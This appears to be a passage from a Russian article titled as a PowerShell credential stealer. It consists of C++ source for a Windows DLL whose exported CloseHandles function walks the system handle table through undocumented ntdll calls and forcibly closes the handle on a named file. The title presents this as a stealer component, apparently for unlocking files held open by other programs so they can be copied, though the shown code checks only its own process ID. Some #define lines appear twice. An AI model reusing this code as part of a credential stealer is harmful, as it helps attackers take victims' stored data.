Статья Стиллер на Powershell

#include "pch.h"
#include <Windows.h>
#include <iostream>
#include <strsafe.h>
#include <psapi.h>
#include <tchar.h>
#include <process.h>
#include <winternl.h>

#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 16
#define ObjectTypeInformation 2
#define ObjectTypeInformationSize 1024 * 1024 * 16
#define NT_SUCCESS(x) ((signed int)(x) >= 0)
#define BUFSIZE 512

#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 16
#define ObjectTypeInformation 2
#define ObjectTypeInformationSize 1024 * 1024 * 16
#define NT_SUCCESS(x) ((signed int)(x) >= 0)
#define BUFSIZE 512

using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

using fNtDuplicateObject = NTSTATUS(WINAPI*)(
    HANDLE SourceProcessHandle,
    HANDLE SourceHandle,
    HANDLE TargetProcessHandle,
    PHANDLE TargetHandle,
    ACCESS_MASK DesiredAccess,
    ULONG Attributes,
    ULONG Options
    );

using fNtQueryObject = NTSTATUS(WINAPI*)(
    HANDLE ObjectHandle,
    ULONG ObjectInformationClass,
    PVOID ObjectInformation,
    ULONG ObjectInformationLength,
    PULONG ReturnLength
    );

typedef enum _POOL_TYPE
{
    NonPagedPool,
    PagedPool,
    NonPagedPoolMustSucceed,
    DontUseThisType,
    NonPagedPoolCacheAligned,
    PagedPoolCacheAligned,
    NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;

typedef struct _OBJECT_TYPE_INFORMATION
{
    UNICODE_STRING Name;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccess;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    USHORT MaintainTypeList;
    POOL_TYPE PoolType;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    USHORT ProcessID;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;


BOOL GetFileNameFromHandle(HANDLE hFile, WCHAR* fName)
{
    BOOL bSuccess = FALSE;
    TCHAR pszFilename[MAX_PATH + 1];
    HANDLE hFileMap;
    hFileMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);

    if (hFileMap)
    {
        void* pMem = MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 1);
        if (pMem)
        {
            if (GetMappedFileName(GetCurrentProcess(), pMem, pszFilename, MAX_PATH))
            {
                TCHAR szTemp[BUFSIZE];
                szTemp[0] = '\0';

                if (GetLogicalDriveStrings(BUFSIZE - 1, szTemp))
                {
                    TCHAR szName[MAX_PATH];
                    TCHAR szDrive[3] = TEXT(" :");
                    BOOL bFound = FALSE;
                    TCHAR* p = szTemp;

                    do
                    {
                        *szDrive = *p;
                        if (QueryDosDevice(szDrive, szName, MAX_PATH))
                        {
                            size_t uNameLen = _tcslen(szName);
                            if (uNameLen < MAX_PATH)
                            {
                                bFound = _tcsnicmp(pszFilename, szName, uNameLen) == 0
                                    && *(pszFilename + uNameLen) == _T('\\');

                                if (bFound)
                                {
                                    TCHAR szTempFile[MAX_PATH];
                                    StringCchPrintf(szTempFile, MAX_PATH, TEXT("%s%s"), szDrive, pszFilename + uNameLen);
                                    StringCchCopyN(pszFilename, MAX_PATH + 1, szTempFile, _tcslen(szTempFile));
                                }
                            }
                        }

                        while (*p++);
                    } while (!bFound && *p);
                }
            }

            bSuccess = TRUE;
            UnmapViewOfFile(pMem);
        }

        CloseHandle(hFileMap);
    }
    else {
        CloseHandle(hFileMap);
        return bSuccess;
    }

    wcscpy_s(fName, MAX_PATH, pszFilename);
    return bSuccess;
}


extern "C" __declspec(dllexport) int CloseHandles(WCHAR * fileName) {
    fNtDuplicateObject NtDuplicateObject = (fNtDuplicateObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDuplicateObject");
    fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
    fNtQueryObject NtQueryObject = (fNtQueryObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryObject");

    ULONG returnLenght = 0;
    PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize);
    NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght);

    int PID = _getpid();

    for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];

        if (handleInfo.ProcessID == PID)
        {
            HANDLE processHandle = NULL;
            HANDLE dupHandle = NULL;

            if (!(processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessID))) {
                continue;
            }

            if (!NT_SUCCESS(NtDuplicateObject(processHandle, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, GENERIC_READ, 0, DUPLICATE_SAME_ACCESS))) {
                CloseHandle(processHandle);
                CloseHandle(dupHandle);
                continue;
            }

            POBJECT_TYPE_INFORMATION objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(ObjectTypeInformationSize);

            if (!NT_SUCCESS(NtQueryObject(dupHandle, ObjectTypeInformation, objectTypeInfo, ObjectTypeInformationSize, NULL)))
            {
                free(objectTypeInfo); CloseHandle(processHandle); CloseHandle(dupHandle);
                continue;
            }

            if (wcscmp(objectTypeInfo->Name.Buffer, L"File"))
            {
                free(objectTypeInfo); CloseHandle(processHandle); CloseHandle(dupHandle);
                continue;
            }

            WCHAR* wHandleFileName = new WCHAR[MAX_PATH]();

            if (!GetFileNameFromHandle(dupHandle, wHandleFileName))
            {
                free(objectTypeInfo); free(wHandleFileName); CloseHandle(processHandle); CloseHandle(dupHandle);
                continue;
            }

            if (fileName == std::wstring(wHandleFileName)) {
                CloseHandle(dupHandle);
                dupHandle = NULL;

                NtDuplicateObject(processHandle, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, GENERIC_READ, 0, DUPLICATE_CLOSE_SOURCE);
                free(objectTypeInfo); free(wHandleFileName); CloseHandle(dupHandle); CloseHandle(processHandle);
                break;
            }

            free(objectTypeInfo); free(wHandleFileName); CloseHandle(dupHandle); CloseHandle(processHandle);
        }
    }
  
    return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}